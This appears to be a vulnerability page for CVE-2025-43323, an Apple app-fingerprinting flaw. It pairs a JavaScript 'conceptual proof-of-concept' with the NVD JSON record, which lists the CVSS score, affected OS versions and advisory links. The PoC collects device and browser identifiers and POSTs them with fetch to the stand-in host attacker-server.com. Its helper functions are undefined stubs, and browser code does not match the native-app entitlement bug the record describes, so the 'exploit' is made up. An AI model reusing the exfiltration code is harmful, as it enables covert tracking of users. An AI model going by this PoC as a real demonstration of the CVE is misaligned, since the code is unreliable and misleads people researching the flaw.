CVE-2025-43323

// CVE-2025-43323 PoC - User Fingerprinting via Missing Entitlement Checks // This is a conceptual proof-of-concept demonstrating the vulnerability // DO NOT use for malicious purposes // Simulate fingerprinting via system information collection function collectDeviceFingerprint() { const fingerprint = { // Hardware identifiers deviceModel: getDeviceModel(), // Missing entitlement check screenResolution: getScreenResolution(), // Missing entitlement check processorInfo: getProcessorInfo(), // Missing entitlement check // System information osVersion: getOSVersion(), // Missing entitlement check installedApps: getInstalledAppsList(), // Missing entitlement check systemConfig: getSystemConfiguration(), // Missing entitlement check // Sensor data accelerometer: getAccelerometerData(), // Missing entitlement check gyroscope: getGyroscopeData(), // Missing entitlement check // Browser fingerprints userAgent: navigator.userAgent, webglVendor: getWebGLVendor(), canvasFingerprint: generateCanvasFingerprint() }; return fingerprint; } // Exploit: Send collected data to remote server function exploitCVE202543323() { const fingerprint = collectDeviceFingerprint(); // Data exfiltration (requires user interaction to trigger) fetch('https://attacker-server.com/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cve: 'CVE-2025-43323', timestamp: Date.now(), fingerprint: fingerprint }) }); } // Mitigation: Apple should implement proper entitlement checks // before allowing apps to access sensitive APIs

{"cve": {"id": "CVE-2025-43323", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:39.347", "lastModified": "2026-04-02T19:20:26.110", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with additional entitlement checks. This issue is fixed in iOS 26 and iPadOS 26, macOS Tahoe 26, tvOS 26, visionOS 26, watchOS 26. An app may be able to fingerprint the user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "C4221CFD-0208-42B8-AACA-1BE6AEC3BA9A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "68DCA17A-424E-4EE3-B005-0F2E42407226"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "BD4D5965-C1B7-4C82-AB16-BA4D41F2FBCA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "E33744A8-68C0-4822-B08E-100911C18404"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "66CF3395-7CC9-41FD-8419-815AC6022191"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125108", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125110", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125114", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}